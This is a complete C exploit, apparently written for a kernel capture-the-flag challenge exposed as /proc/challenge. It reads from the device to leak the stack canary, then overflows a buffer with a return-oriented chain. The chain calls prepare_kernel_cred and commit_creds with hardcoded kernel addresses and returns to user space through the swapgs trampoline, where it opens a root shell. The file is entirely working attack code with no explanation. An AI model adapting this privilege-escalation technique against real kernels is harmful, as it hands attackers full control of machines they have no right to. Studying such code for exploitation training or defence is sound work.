text: #include <stdio.h>
  #include <stdlib.h>
  #include <assert.h>
  #include <unistd.h>
  #include <fcntl.h>
  
  unsigned long save_ss, save_sp, save_rf, save_cs;
  
  void shell()
  {
      system("/bin/sh");
  }
  
  void save_user_space()
  {
      /* save user-space */
      __asm__(
          ".intel_syntax noprefix;"
          "mov save_ss, ss;"
          "mov save_sp, rsp;"
          "pushf;"
          "pop save_rf;"
          "mov save_cs, cs;"
          ".att_syntax;"
      ); 
  }
  
  unsigned long leak_canary(int fd)
  {
      unsigned long leak[5];
      read(fd, leak, sizeof(unsigned long) * 5);
      return leak[4];
  }
  
  void overflow_buffer(int fd, unsigned long canary)
  {
      unsigned long payload[20];
  
      payload[4] = canary;
      
      payload[5] = 0xffffffff81001518; // pop rdi; ret
      payload[6] = 0x00;               // rdi = 0x00
      payload[7] = 0xffffffff810881c0; // prepare_kernel_cred
  
      payload[8]  = 0xffffffff81001518; // pop rdi; ret
      payload[9]  = 0x00;               // rdi = 0x00
      payload[10] = 0xffffffff8158f72a; // add rdi, rax; cmp rdi, 0x1; setbe al; ret
      payload[11] = 0xffffffff81087e80; // commit_creds
  
      payload[12] = 0xffffffff81c00a45; // swapgs_restore_regs_and_return_to_usermode + 0x16
      payload[13] = 0x00;               // rax = 0x00
      payload[14] = 0x00;               // rdi = 0x00
  
      payload[15] = (unsigned long)shell;
      payload[16] = save_cs;
      payload[17] = save_rf;
      payload[18] = save_sp;
      payload[19] = save_ss;
  
      write(fd, payload, sizeof(unsigned long) * 20);
  }
  
  int main(int argc, char **argv)
  {
      save_user_space();
  
      int fd = open("/proc/challenge", O_RDWR);
      assert(fd > 0);
  
      /* leak stack canary */
      unsigned long canary = leak_canary(fd);
      printf("[*] canary @ 0x%lx\n", canary);
  
      overflow_buffer(fd, canary); 
  
      return 0;
  }
  
  